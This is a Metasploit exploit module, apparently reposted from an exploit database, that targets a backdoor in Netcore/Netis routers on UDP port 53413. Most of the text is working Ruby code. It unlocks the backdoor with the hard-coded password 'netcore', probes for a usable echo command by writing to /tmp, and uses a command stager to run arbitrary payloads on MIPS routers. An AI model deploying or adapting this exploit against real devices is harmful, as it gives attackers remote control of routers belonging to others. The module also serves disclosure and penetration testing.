## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Netcore Router Udp 53413 Backdoor', 'Description' => %q{ Routers manufactured by Netcore, a popular brand for networking equipment in China, have a wide-open backdoor that can be fairly easily exploited by attackers. These products are also sold under the Netis brand name outside of China. This backdoor allows cyber criminals to easily run arbitrary code on these routers, rendering it vulnerable as a security device. Some models include a non-standard echo command which doesn't honor -e, and are therefore not currently exploitable with Metasploit. See URLs or module markdown for additional options. }, 'Author' => [ 'Nixawk', 'h00die ' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://www.seebug.org/vuldb/ssvid-90227' ], [ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ], [ 'URL', 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py'] ], 'Privileged' => true, 'Targets' => [ ['MIPS Little Endian', { 'Platform' => 'linux', 'Arch' => ARCH_MIPSLE } ], ['MIPS Big Endian', { 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 25 2014')) register_options( [ OptInt.new('TIMEOUT', [true, 'The socket response timeout in milliseconds', 1000]), Opt::RPORT(53413) ], self.class) end def timeout (datastore['TIMEOUT'] || 1000) / 1000.0 end def send_command(data) payload = "\x00" * 8 payload << data udp_sock.put(payload) end def execute_command(cmd, _opts) send_command(cmd) vprint_status("Sending: #{cmd}") end def authenticate() # netcore is the password to unlock the backdoor send_command('netcore') resp = udp_sock.get(timeout) if resp.include?('Login succeeded!') vprint_good('Backdoor Unlocked') end end def check connect_udp authenticate resp = [] tmp_file = Rex::Text.rand_text_alpha(5) # we need to test the echo command to see if it plays nice ["echo -en #{tmp_file} > /tmp/#{tmp_file}", "cat /tmp/#{tmp_file}"].each do |command| send_command(command) resp << udp_sock.get(timeout) end disconnect_udp resp_str = resp.join(',') # check if we got a good response back if resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05") && resp_str.include?(tmp_file) # some routers have a non-standard echo which doesn't support -en, so we need to detect that if resp_str.include?('en ') print_status('Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.') Exploit::CheckCode::Detected else Exploit::CheckCode::Vulnerable end else Exploit::CheckCode::Safe end end def exploit print_status('Exploiting...') connect_udp authenticate execute_cmdstager(:flavor => :echo, :linemax => 200) disconnect_udp end end # Iranian Exploit DataBase = http://IeDb.Ir [2016-08-13]